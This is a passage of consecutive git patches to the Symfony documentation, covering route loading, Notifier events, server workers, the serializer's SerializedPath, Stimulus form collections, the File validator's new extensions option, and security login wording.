 routing/custom_route_loader.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 5aa90a8712d..2b506aba40e 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -65,7 +65,7 @@ Symfony provides several route loaders for the most common needs:
 
             <!-- loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root -->
             <import type="attribute">
-                <resource path="../src/Controller/" namespace="App\Controller" />
+                <resource path="../src/Controller/" namespace="App\Controller"/>
             </import>
 
             <!-- loads routes from the PHP attributes of the controllers found in that directory -->
@@ -92,7 +92,10 @@ Symfony provides several route loaders for the most common needs:
 
             // loads routes from the PHP attributes (#[Route(...)])
             // of the controllers found in the given PSR-4 namespace root
-            $routes->import('../src/Controller/', 'attribute@App\Controller');
+            $routes->import(
+                ['path' => '../src/Controller/', 'namespace' => 'App\Controller'],
+                'attribute',
+            );
 
             // loads routes from the PHP attributes (#[Route(...)])
             // of the controllers found in that directory

From a0bd7b33fb4161cc1ec7d1afd091fde763ed8fc0 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 27 Oct 2022 08:20:54 +0200
Subject: [PATCH 2495/5766] Use correct code-block

---
 reference/forms/types/choice.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 7b003585d12..0eb6df330b7 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -332,7 +332,7 @@ choice is selected or not. If you need to get the full list of choices data and
 values, use the ``choices`` variable from the parent form of the choice entry
 (which is the ``ChoiceType`` itself) with ``form.parent.vars.choices``::
 
-.. code-block:: html+twig
+.. code-block:: twig
 
     {# `true` or `false`, whether the current choice is selected as radio or checkbox #}
     {{ form.vars.data }}

From bdb73993dc8563b31edf1bf6259e25f9b96008c4 Mon Sep 17 00:00:00 2001
From: Pierre Bobiet <neghmurken@users.noreply.github.com>
Date: Thu, 20 Oct 2022 14:41:56 +0200
Subject: [PATCH 2496/5766] [Doctrine/Events] Fix bad argument name in example

The ContainerConfigurator variable name used in method argument did not match the name used in the method body
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 4832abf72ae..89cfb269447 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -227,7 +227,7 @@ with the ``doctrine.event_listener`` tag:
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
             // listeners are applied by default to all Doctrine connections

From 98270d12a343af129f9595d3589be0d928f798f1 Mon Sep 17 00:00:00 2001
From: Smaine Milianni <smaine.milianni@gmail.com>
Date: Fri, 6 Aug 2021 17:39:51 +0100
Subject: [PATCH 2497/5766] init doc

---
 notifier/events.rst | 74 +++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 74 insertions(+)
 create mode 100644 notifier/events.rst

diff --git a/notifier/events.rst b/notifier/events.rst
new file mode 100644
index 00000000000..aef7c848cec
--- /dev/null
+++ b/notifier/events.rst
@@ -0,0 +1,74 @@
+.. index::
+    single: Notifier; Events
+
+Using Events
+============
+
+The class:``...\\..\\Transport`` of the Notifier component allows you to optionally hook
+into the lifecycle via events.
+
+The ``MessageEvent::class`` Event
+---------------------------------
+
+**Typical Purposes**: Doing something before the message is send (like logging
+which message is going to be send, or displaying something about the event
+to be executed.
+
+Just before send the message, the event class ``MessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\MessageEvent;
+
+    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // log something
+        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
+    });
+
+The ``FailedMessageEvent`` Event
+--------------------------------
+
+**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
+
+Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
+dispatched. A listener can do anything useful before the exception is thrown.
+
+Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\FailedMessageEvent;
+
+    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getMessage();
+
+        // gets the error instance
+        $error = $event->getError();
+
+        // log something
+        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
+    });
+
+
+The ``SentMessageEvent`` Event
+------------------------------
+
+**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
+when the message is sent).
+
+After the message has been successfully sent, the event class ``SentMessageEvent`` is
+dispatched. Listeners receive a
+:class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
+
+    use Symfony\Component\Notifier\Event\SentMessageEvent;
+
+    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
+        // gets the message instance
+        $message = $event->getOriginalMessage();
+
+        // log something
+        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
+    });

From c3d877a76cbc223439993ee51ddd5f2cd07c7014 Mon Sep 17 00:00:00 2001
From: Alexander Schwenn <alexander.schwenn@gmail.com>
Date: Mon, 31 Oct 2022 17:54:57 +0100
Subject: [PATCH 2498/5766] Add paragraph about symfony-cli workers

---
 setup/symfony_server.rst | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 9dbda5f31de..e06d6315aaf 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -277,6 +277,31 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
+Configuring Workers
+-------------------
+
+If you like processes to start automatically, along with the webserver
+(``symfony server:start``), you can add a configuration file to your project:
+
+.. code-block:: yaml
+
+    # .symfony.local.yaml
+    workers:
+        # pre-defined command to build and watch front-end assets
+        # yarn_encore_watch:
+        #     cmd: ['yarn', 'encore', 'dev', '--watch']
+        yarn_encore_watch: ~
+
+        # pre-defined command to start messenger consumer
+        # messenger_consume_async:
+        #     cmd: ['symfony', 'console', 'messenger:consume', 'async']
+        #     watch: ['config', 'src', 'templates', 'vendor']
+        messenger_consume_async: ~
+
+        # additional commands
+        spa:
+            cmd: ['yarn', '--cwd', './spa/', 'dev']
+
 Docker Integration
 ------------------
 

From 4ea004e152ad957773c93e00d2a7bff3281c4bdf Mon Sep 17 00:00:00 2001
From: Romain Monteil <monteil.romain@gmail.com>
Date: Sun, 30 Oct 2022 01:55:53 +0200
Subject: [PATCH 2499/5766] [Form] Reorder and remove duplicate methods
 explanation for form type

---
 form/create_custom_field_type.rst | 27 +++++++++++----------------
 1 file changed, 11 insertions(+), 16 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index dbca331e050..2998a763445 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -119,13 +119,6 @@ These are the most important methods that a form type class can define:
 
 .. _form-type-methods-explanation:
 
-``getParent()``
-    When returning a (fully-qualified) class name here, Symfony will call each
-    method of that type (i.e. ``buildForm()``, ``buildView()``, etc.) and all its
-    type extensions, before calling the corresponding method of your custom type.
-    This is probably a good idea if you're just changing some details of an
-    existing type. To start from scratch, omit ``getParent()``.
-
 ``buildForm()``
     It adds and configures other types into this type. It's the same method used
     when :ref:`creating Symfony form classes <creating-forms-in-classes>`.
@@ -133,25 +126,27 @@ These are the most important methods that a form type class can define:
 ``buildView()``
     It sets any extra variables you'll need when rendering the field in a template.
 
-``configureOptions()``
-    It defines the options configurable when using the form type, which are also
-    the options that can be used in ``buildForm()`` and ``buildView()``
-    methods. Options are inherited from parent types and parent type
-    extensions, but you can create any custom option you need.
-
 ``finishView()``
     This method allows to modify the "view" of any rendered widget. This is useful
     if your form type consists of many fields, or contains a type that produces
     many HTML elements (e.g. ``ChoiceType``). For any other use case, it's
     recommended to use ``buildView()`` instead.
 
+``configureOptions()``
+    It defines the options configurable when using the form type, which are also
+    the options that can be used in ``buildForm()`` and ``buildView()``
+    methods. Options are inherited from parent types and parent type
+    extensions, but you can create any custom option you need.
+
 ``getParent()``
     If your custom type is based on another type (i.e. they share some
-    functionality) add this method to return the fully-qualified class name
+    functionality), add this method to return the fully-qualified class name
     of that original type. Do not use PHP inheritance for this.
     Symfony will call all the form type methods (``buildForm()``,
-    ``buildView()``, etc.) of the parent type and it will call all its type
-    extensions before calling the ones defined in your custom type.
+    ``buildView()``, etc.) and type extensions of the parent before
+    calling the ones defined in your custom type.
+
+    Otherwise, if your custom type is build from scratch, you can omit ``getParent()``.
 
     By default, the ``AbstractType`` class returns the generic
     :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType`

From 375c089cb35398b18863e5f1c4cf9f91c5cd9c22 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Tobias=20B=C3=B6nner?= <boenner@users.noreply.github.com>
Date: Mon, 24 Oct 2022 20:39:15 +0200
Subject: [PATCH 2500/5766] Documentation for the SerializedPath definition

This fixes #17389.
---
 serializer.rst | 81 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 81 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index d041af7faa1..fa3a30796cb 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -368,6 +368,87 @@ stored in one of the following locations:
 
 .. _serializer-enabling-metadata-cache:
 
+Using nested attributes
+-----------------------
+
+To map nested properties, a ``SerializedPath`` can be defined with annotations, 
+attributes and YAML or XML configurations:
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\SerializedPath;
+
+        class Person
+        {
+            /**
+             * @SerializedPath("[profile][information][birthday]")
+             */
+            private string $birthday;
+
+            // ...
+        }
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Annotation\SerializedPath;
+
+        class Person
+        {
+            #[SerializedPath('[profile][information][birthday]')]
+            private string $birthday;
+
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\Person:
+            attributes:
+                dob:
+                    serialized_path: '[profile][information][birthday]'
+        
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="dob" serialized-path="[profile][information][birthday]"/>
+            </class>
+        </serializer>
+
+.. versionadded:: 6.2
+
+    The option to configure a ``SerializedPath`` was introduced in Symfony 6.2.
+
+Using the configuration from above, denormalizing with a metadata-aware 
+normalizer will write the ``birthday`` field from ``$data`` onto the ``Person`` 
+object::
+
+    $data = [
+        'profile' => [
+            'information' => [
+                'birthday' => '01-01-1970',
+            ],
+        ],
+    ];
+    $person = $normalizer->denormalize($data, Person::class, 'any'); 
+    $person->getBirthday(); // 01-01-1970
+
+When using annotations or attributes, the ``SerializedPath`` can either 
+be set on the property or the associated getter. The ``SerializedPath`` 
+cannot be used in combination with a ``SerializedName`` for the same propety. 
+The given path must be a string that can be parsed as a ``PropertyPath``.
+
 Configuring the Metadata Cache
 ------------------------------
 

From 993f9781e8a8e8e3c2ae35d0f6c4038498cb2aa4 Mon Sep 17 00:00:00 2001
From: Niels Keurentjes <niels.keurentjes@omines.com>
Date: Mon, 31 Oct 2022 20:05:03 +0100
Subject: [PATCH 2501/5766] Events are dispatched, not thrown

---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 0bdb8c24b2f..06d2cea6a25 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -509,7 +509,7 @@ Handling Exceptions: the ``kernel.exception`` Event
 :ref:`Kernel Events Information Table <component-http-kernel-event-table>`
 
 If an exception is thrown at any point inside ``HttpKernel::handle()``, another
-event - ``kernel.exception`` is thrown. Internally, the body of the ``handle()``
+event - ``kernel.exception`` is dispatched. Internally, the body of the ``handle()``
 method is wrapped in a try-catch block. When any exception is thrown, the
 ``kernel.exception`` event is dispatched so that your system can somehow respond
 to the exception.

From aeb04ecfd6fe17583ae6313a153dbd6824423127 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 18 Oct 2022 16:50:36 +0200
Subject: [PATCH 2502/5766] [Form] Adding Stimulus code

---
 form/form_collections.rst | 50 ++++++++++++++++++++++++++++++++++++++-
 1 file changed, 49 insertions(+), 1 deletion(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index 6df22f20068..03858d21e15 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -238,7 +238,11 @@ it will receive an *unknown* number of tags. Otherwise, you'll see a
 
 The ``allow_add`` option also makes a ``prototype`` variable available to you.
 This "prototype" is a little "template" that contains all the HTML needed to
-dynamically create any new "tag" forms with JavaScript. To render the prototype, add
+dynamically create any new "tag" forms with JavaScript.
+
+Let's start with plain JavaScript (Vanilla JS) – if you're using Stimulus, see below.
+
+To render the prototype, add
 the following ``data-prototype`` attribute to the existing ``<ul>`` in your
 template:
 
@@ -334,6 +338,49 @@ into new ``Tag`` objects and added to the ``tags`` property of the ``Task`` obje
 
     You can find a working example in this `JSFiddle`_.
 
+JavaScript with Stimulus
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you're using `Stimulus`_, wrap everything in a ``<div>``:
+
+.. code-block:: html+twig
+
+    <div {{ stimulus_controller('form-collection') }}
+        data-form-collection-index-value="{{ form.tags|length > 0 ? form.tags|last.vars.name + 1 : 0 }}"
+        data-form-collection-prototype-value="{{ form_widget(form.tags.vars.prototype)|e('html_attr') }}"
+    >
+        <ul {{ stimulus_target('form-collection', 'collectionContainer') }}></ul>
+        <button type="button" {{ stimulus_action('form-collection', 'addCollectionElement') }}>Add a tag</button>
+    </div>
+
+Then create the controller:
+
+.. code-block:: javascript
+
+    // assets/controllers/form-collection_controller.js
+    
+    import { Controller } from '@hotwired/stimulus';
+
+    export default class extends Controller {
+        static targets = ["collectionContainer"]
+
+        static values = {
+            index    : Number,
+            prototype: String,
+        }
+
+        addCollectionElement(event)
+        {
+            const item = document.createElement('li');
+            item.innerHTML = this.prototypeValue.replace(/__name__/g, this.indexValue);
+            this.collectionContainerTarget.appendChild(item);
+            this.indexValue++;           
+        }
+    }
+
+Handling the new Tags in PHP
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
 To make handling these new tags easier, add an "adder" and a "remover" method
 for the tags in the ``Task`` class::
 
@@ -662,3 +709,4 @@ the relationship between the removed ``Tag`` and ``Task`` object.
 .. _`@a2lix/symfony-collection`: https://github.com/a2lix/symfony-collection
 .. _`symfony-collection`: https://github.com/ninsuo/symfony-collection
 .. _`ArrayCollection`: https://www.doctrine-project.org/projects/doctrine-collections/en/1.6/index.html
+.. _`Stimulus`: https://symfony.com/doc/current/frontend/encore/simple-example.html#stimulus-symfony-ux

From 739daaf8f3ef5952b2b305010797b5b772cab148 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Nov 2022 15:25:01 +0100
Subject: [PATCH 2503/5766] Tweaks

---
 serializer.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index fa3a30796cb..6d05eca240a 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -368,11 +368,11 @@ stored in one of the following locations:
 
 .. _serializer-enabling-metadata-cache:
 
-Using nested attributes
+Using Nested Attributes
 -----------------------
 
-To map nested properties, a ``SerializedPath`` can be defined with annotations, 
-attributes and YAML or XML configurations:
+To map nested properties, use the ``SerializedPath`` configuration to define
+their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`:
 
 .. configuration-block::
 
@@ -445,9 +445,8 @@ object::
     $person->getBirthday(); // 01-01-1970
 
 When using annotations or attributes, the ``SerializedPath`` can either 
-be set on the property or the associated getter. The ``SerializedPath`` 
-cannot be used in combination with a ``SerializedName`` for the same propety. 
-The given path must be a string that can be parsed as a ``PropertyPath``.
+be set on the property or the associated _getter_ method. The ``SerializedPath``
+cannot be used in combination with a ``SerializedName`` for the same property.
 
 Configuring the Metadata Cache
 ------------------------------

From 4e11720f5697cc85b6d3c8a79c06f827f7a14144 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Nov 2022 16:04:42 +0100
Subject: [PATCH 2504/5766] Tweaks

---
 setup/symfony_server.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index e06d6315aaf..8cc8d4dfd75 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -280,26 +280,26 @@ server provides a ``run`` command to wrap them as follows:
 Configuring Workers
 -------------------
 
-If you like processes to start automatically, along with the webserver
-(``symfony server:start``), you can add a configuration file to your project:
+If you like some processes to start automatically, along with the webserver
+(``symfony server:start``), add a configuration file to your project:
 
 .. code-block:: yaml
 
     # .symfony.local.yaml
     workers:
-        # pre-defined command to build and watch front-end assets
+        # built-in command that builds and watches front-end assets
         # yarn_encore_watch:
         #     cmd: ['yarn', 'encore', 'dev', '--watch']
         yarn_encore_watch: ~
 
-        # pre-defined command to start messenger consumer
+        # built-in command that starts messenger consumer
         # messenger_consume_async:
         #     cmd: ['symfony', 'console', 'messenger:consume', 'async']
         #     watch: ['config', 'src', 'templates', 'vendor']
         messenger_consume_async: ~
 
-        # additional commands
-        spa:
+        # you can also add your own custom commands
+        build_spa:
             cmd: ['yarn', '--cwd', './spa/', 'dev']
 
 Docker Integration

From 4272159b6acc5ae59cea3ad819fb49867d54e74f Mon Sep 17 00:00:00 2001
From: Tobias Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 7 Nov 2022 05:30:20 +0100
Subject: [PATCH 2505/5766] Remove Magali from CARE

---
 contributing/code_of_conduct/care_team.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index fb2c60faebd..f7f565a266f 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -37,12 +37,6 @@ of them at once by emailing ** care@symfony.com **.
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
   * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
 
-* **Magali Milbergue**
-
-  * *E-mail*: magali.milbergue [at] gmail.com
-  * *Twitter*: `@magalimilbergue <https://twitter.com/magalimilbergue>`_
-  * *SymfonyConnect*: `magali_milbergue <https://connect.symfony.com/profile/magali_milbergue>`_
-
 * **Tobias Nyholm**
 
   * *E-mail*: tobias.nyholm [at] gmail.com

From 0df7bb1132e444660179776c94495d2c7d945720 Mon Sep 17 00:00:00 2001
From: Yannick Ihmels <yannick@ihmels.org>
Date: Tue, 8 Nov 2022 22:15:12 +0100
Subject: [PATCH 2506/5766] Document `save_options` of `XmlEncoder`
 (symfony#48164)

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 490397b2f06..6476d5a1870 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1093,7 +1093,7 @@ always as a collection.
     changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
     key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
     directly to the ``$context`` argument of the ``encode()`` method::
-    
+
         $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 
 The ``XmlEncoder`` Context Options
@@ -1124,6 +1124,7 @@ Option                          Description
 ``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
                                 to be ignored while encoding
 ``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
+``save_options``                XML saving `options with libxml`_                  ``0``
 ``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
                                 generated XML
 ==============================  =================================================  ==========================

From 64cabf4993c00a581564ffee36ab616788922dbd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Sat, 5 Nov 2022 13:26:21 +0100
Subject: [PATCH 2507/5766] [Validator] File: add option to check extension

---
 reference/constraints/File.rst | 82 +++++++++++++++++++++++++++-------
 1 file changed, 66 insertions(+), 16 deletions(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 523b5e89dde..a7556eca41f 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -67,8 +67,8 @@ below a certain file size and a valid PDF, add the following:
         {
             #[Assert\File(
                 maxSize: '1024k',
-                mimeTypes: ['application/pdf', 'application/x-pdf'],
-                mimeTypesMessage: 'Please upload a valid PDF',
+                extensions: ['pdf'],
+                extensionsMessage: 'Please upload a valid PDF',
             )]
             protected $bioFile;
         }
@@ -81,8 +81,8 @@ below a certain file size and a valid PDF, add the following:
                 bioFile:
                     - File:
                         maxSize: 1024k
-                        mimeTypes: [application/pdf, application/x-pdf]
-                        mimeTypesMessage: Please upload a valid PDF
+                        extensions: [pdf]
+                        extensionsMessage: Please upload a valid PDF
 
     .. code-block:: xml
 
@@ -96,11 +96,10 @@ below a certain file size and a valid PDF, add the following:
                 <property name="bioFile">
                     <constraint name="File">
                         <option name="maxSize">1024k</option>
-                        <option name="mimeTypes">
-                            <value>application/pdf</value>
-                            <value>application/x-pdf</value>
+                        <option name="extensions">
+                            <value>pdf</value>
                         </option>
-                        <option name="mimeTypesMessage">Please upload a valid PDF</option>
+                        <option name="extensionsMessage">Please upload a valid PDF</option>
                     </constraint>
                 </property>
             </class>
@@ -120,11 +119,10 @@ below a certain file size and a valid PDF, add the following:
             {
                 $metadata->addPropertyConstraint('bioFile', new Assert\File([
                     'maxSize' => '1024k',
-                    'mimeTypes' => [
-                        'application/pdf',
-                        'application/x-pdf',
+                    'extensions' => [
+                        'pdf',
                     ],
-                    'mimeTypesMessage' => 'Please upload a valid PDF',
+                    'extensionsMessage' => 'Please upload a valid PDF',
                 ]));
             }
         }
@@ -151,6 +149,36 @@ the value defined in the ``maxSize`` option.
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
+``extensions``
+~~~~~~~~~~~~~~
+
+**type**: ``array`` or ``string``
+
+.. versionadded:: 6.2
+
+    The ``extensions`` option was introduced in Symfony 6.2.
+
+If set, the validator will check that the extension and the media type
+(formerly known as MIME type) of the underlying file are equal to the given
+extension and associated media type (if a string) or exist in the collection
+(if an array).
+
+By default, all media types associated with an extension are allowed.
+The list of supported extensions and associated media types can be found on
+the `IANA website`_.
+
+It's also possible to explicitly configure the authorized media types for
+an extension.
+
+In the following example, allowed media types are explicitly set for the ``xml``
+and ``txt`` extensions, and all associated media types are allowed for ``jpg``::
+
+    [
+        'xml' => ['text/xml', 'application/xml'],
+        'txt' => 'text/plain',
+        'jpg',
+    ]
+
 ``disallowEmptyMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -216,9 +244,17 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-If set, the validator will check that the mime type of the underlying file
-is equal to the given mime type (if a string) or exists in the collection
-of given mime types (if an array).
+.. seelalso::
+
+    You should always use the ``extensions`` option instead of ``mimeTypes``
+    except if you explicitly don't want to check that the extension of the file
+    is consistent with its content (this can be a security issue).
+
+    By default, the ``extensions`` option also checks the media type of the file.
+
+If set, the validator will check that the media type (formerly known as MIME
+type) of the underlying file is equal to the given mime type (if a string) or
+exists in the collection of given mime types (if an array).
 
 You can find a list of existing mime types on the `IANA website`_.
 
@@ -232,12 +268,26 @@ You can find a list of existing mime types on the `IANA website`_.
     (i.e. the form type is not defined explicitly in the ``->add()`` method of
     the form builder) and when the field doesn't define its own ``accept`` value.
 
+``extensionsMessage``
+~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The extension of the file is invalid ({{ extension }}). Allowed extensions are {{ extensions }}.``
+
+.. versionadded:: 6.2
+
+    The ``extensionsMessage`` option was introduced in Symfony 6.3.
+
+The message displayed if the extension of the file is not a valid extension
+per the `extensions`_ option.
+
+.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
+
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
-The message displayed if the mime type of the file is not a valid mime type
+The message displayed if the media type of the file is not a valid media type
 per the `mimeTypes`_ option.
 
 .. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc

From 5fc22f236be66cb784596e41a2103e2bf4d9f56f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 9 Nov 2022 18:35:02 +0100
Subject: [PATCH 2508/5766] [#17414] Change directive

---
 reference/constraints/File.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index a7556eca41f..674056ee0c8 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -244,7 +244,7 @@ Parameter         Description
 
 **type**: ``array`` or ``string``
 
-.. seelalso::
+.. caution::
 
     You should always use the ``extensions`` option instead of ``mimeTypes``
     except if you explicitly don't want to check that the extension of the file

From 9262483ce3346eda0dc167b53bfea42adf2c98d1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 10 Nov 2022 22:54:22 +0100
Subject: [PATCH 2509/5766] Consistent naming of `FormLoginAuthenticator`

Reason: Make it more clear that we're always talking about the same **built-in** thing.
---
 security.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 583f5e19f9a..abfa7c1e7c8 100644
--- a/security.rst
+++ b/security.rst
@@ -660,7 +660,7 @@ Form Login
 
 Most websites have a login form where users authenticate using an
 identifier (e.g. email address or username) and a password. This
-functionality is provided by the *form login authenticator*.
+functionality is provided by the built-in :class:`Symfony\\Component\\Security\\Http\Authenticator\\FormLoginAuthenticator`.
 
 First, create a controller for the login form:
 
@@ -691,7 +691,7 @@ First, create a controller for the login form:
         }
     }
 
-Then, enable the form login authenticator using the ``form_login`` setting:
+Then, enable the ``FormLoginAuthenticator`` using the ``form_login`` setting:
 
 .. configuration-block::
 
@@ -784,8 +784,8 @@ Edit the login controller to render the login form:
           }
       }
 
-Don't let this controller confuse you. Its job is only to *render* the form:
-the ``form_login`` authenticator will handle the form *submission* automatically.
+Don't let this controller confuse you. Its job is only to *render* the form.
+The ``FormLoginAuthenticator`` will handle the form *submission* automatically.
 If the user submits an invalid email or password, that authenticator will store
 the error and redirect back to this controller, where we read the error (using
 ``AuthenticationUtils``) so that it can be displayed back to the user.
@@ -857,7 +857,7 @@ To review the whole process:
 #. The ``/login`` page renders login form via the route and controller created
    in this example;
 #. The user submits the login form to ``/login``;
-#. The security system (i.e. the ``form_login`` authenticator) intercepts the
+#. The security system (i.e. the ``FormLoginAuthenticator``) intercepts the
    request, checks the user's submitted credentials, authenticates the user if
    they are correct, and sends the user back to the login form if they are not.
 

From ff1f3336bf33dc210b2cfe7d31f61b575864cefb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 11 Nov 2022 12:52:03 +0100
Subject: [PATCH 2510/5766] Typo

---
 reference/configuration/security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index dda2c08e8e7..f1bb542b7b5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -326,7 +326,7 @@ login_path
 **type**: ``string`` **default**: ``/login``
 
 This is the route or path that the user will be redirected to (unless ``use_forward``
-is set to ``true``) when they try to access a protected resource but isn't
+is set to ``true``) when they try to access a protected resource but aren't
 fully authenticated.
 
 This path **must** be accessible by a normal, unauthenticated user, else

From 2493625aa5cebdb6534396e2bc309ff8c5149e25 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 11 Nov 2022 12:57:20 +0100
Subject: [PATCH 2511/5766] Minor

---
 reference/configuration/security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index dda2c08e8e7..f3104fa3e41 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -365,7 +365,7 @@ username_parameter
 
 **type**: ``string`` **default**: ``_username``
 
-This is the field name that you should give to the username field of your
+This is the name of the username field of your
 login form. When you submit the form to ``check_path``, the security system
 will look for a POST parameter with this name.
 
@@ -374,7 +374,7 @@ password_parameter
 
 **type**: ``string`` **default**: ``_password``
 
-This is the field name that you should give to the password field of your
